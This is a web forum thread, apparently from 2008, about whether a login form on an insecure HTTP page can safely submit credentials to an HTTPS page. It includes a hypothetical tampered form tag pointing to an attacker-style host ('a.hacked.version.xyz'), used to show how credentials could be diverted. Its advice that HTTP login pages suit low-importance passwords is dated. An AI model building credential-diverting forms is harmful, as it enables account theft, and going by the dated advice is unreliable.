Login to secure pages

Topic

New Reply

Is it possible that a site that has some pages (secure) that you must login to, could be set up so that the login page (or the page that holds username and password “boxes” among other things) is not secured, but instead is the username & password encrypted when you press the “login” button?

That is, could it be done on-the-fly when it processes the information from the “boxes”?

Usually we see that the login page is already secured for sites or pages of a more important nature.

I post this here since it essentially is a question about web coding, scripts and whether something is possible or not.

Reply | Quote

Replies

Good day, This may provide the answer http://www.ibm.com/developerworks/opensour…os-php-encrypt/ Cheers gws

Reply | Quote

Thank you for the link. Interesting reading.

I should perhaps have mentioned, since I posted in this forum, that I am not going to create web pages, scripts etc. myself. But of course, to get an answer on the question I need to know a little about what is done and how.

It is more a question whether it is possible to do or not. I have seen some pages that have this setup; you login on a non-secure page and reach a secured page, yep odd. And in a discussion with some support people on a different matter I mentioned it, and it was mentioned “perhaps it’s encrypted when you press the login button …”. I am not sure if it is, and other pages at the site use the “traditional” secure login page. Perhaps it is possible, but it is in opposition to what users have learned about security on the Internet.

Reply | Quote

(Edited by jscher2000 on 03-Dec-08 19:41. )

A form on a non-secure (HTTP) page can submit to a secure (HTTPS) page. (This is determined by the URL in the attribute.)

For low-importance passwords, this is fine. For sensitive sites, the user might be nervous because browsers do not provide any indication about how forms will be submitted.

Added: I don’t have any thoughts about the username and password appearing encrypted on the page. This would seem to be a function of the user’s browser or password storage add-ins, unless you store that information in a cookie, which probably is a bad idea.

Reply | Quote

Jefferson,
Thanks for your reply. The action, when the “login button” is pressed, seems to be the following:

Then there are some other things, responses, if username or password is omitted etc.

I know nada, but see that the action is pointing to a secure page.

So it seems it is indeed possible somehow, if the above does what you say, but where is the encryption done? Anyhow it doesn’t seem to be so secure. If login is done from a non-secure page it could have been hacked in some way, perhaps.

Reply | Quote

The encryption starts when the form is submitted. To connect to the HTTPS page, the browser must take the extra step of initiating an SSL session. This should happen before it sends your input so that the input is protected.

I don’t think this is any less secure. If the page is compromised, for example, if it contains a script that logs keystrokes and sends them to the bad guys, the HTTPS protocol would not protect you any better than HTTP because the problem occurs in your browser window while the page is decrypted. I think the main issues are user comfort with the arrangement, and the performance trade-off (HTTPS slows down your connection).

Reply | Quote

Thank you for your comments.

I agree with you that the big issue here, if it indeed is encrypted, is user comfort; however in this case I would say performance is a smaller issue. That is because the pages/servers etc. are in the same country as the users and it is very limited data that is transferred (comparing a secure login with a non-secure login; after logged on it is a different matter; then everything is and should be encrypted).

When I mentioned security I was thinking that if the login is forced to be done on a secure page the user can check the certificate etc. to be reasonably sure they are dealing with the correct site. But with the aforementioned solution the username and password is sent to some address not apparent to the user and from a page in a non-secure session. I understand that it could perhaps be hacked even if it was a secure session login page, but now a simple change on the non-secure page to:

<form action="http://a.hacked.version.xyz/login&quot; would send off the username and password to a completely different site.

So to conclude: with the example I gave in the other post, it is encrypted, obviously as soon as it has to set up a HTTPS session, but it is done, sort of, on-the-fly. But you also said that: "For low-importance passwords, this is fine". Was that only in regard to "user comfort"?

Reply | Quote

[indent]

---

I agree with you that the big issue here, if it indeed is encrypted, is user comfort; however in this case I would say performance is a smaller issue.

---

[/indent]I probably should have given a better example. Imagine you are shopping in an online store, and there is a login form on each page until you log in. You can improve the performance of the site by only encrypting the login page and the payment process rather than the entire user experience. However, the users might be uncomfortable. Most ecommerce sites tend to use a login link on every page, and then secure the page with the login form, to balance these issues.

[indent]

---

When I mentioned security I was thinking that if the login is forced to be done on a secure page the user can check the certificate etc. to be reasonably sure they are dealing with the correct site. But with the aforementioned solution the username and password is sent to some address not apparent to the user and from a page in a non-secure session. I understand that it could perhaps be hacked even if it was a secure session login page, but now a simple change on the non-secure page to:

<form action="http://a.hacked.version.xyz/login&quot; would send off the username and password to a completely different site.

---

[/indent]Yes, that’s a good point, the user can check the certificate on the page with the login form. The browser will not automatically warn them, though, if the form submits to a different site, unless that different site is not secure (HTTP only), in which case they will get a standard warning message they might have turned off (secure page trying navigate to an insecure page). The scenarios for a secure page to be compromised are the same as for a regular page. The only point where the page is really protected is in transit, between the browser and the server.
[indent]

---

you also said that: “For low-importance passwords, this is fine”. Was that only in regard to “user comfort”?

---

[/indent]Yes.

Reply | Quote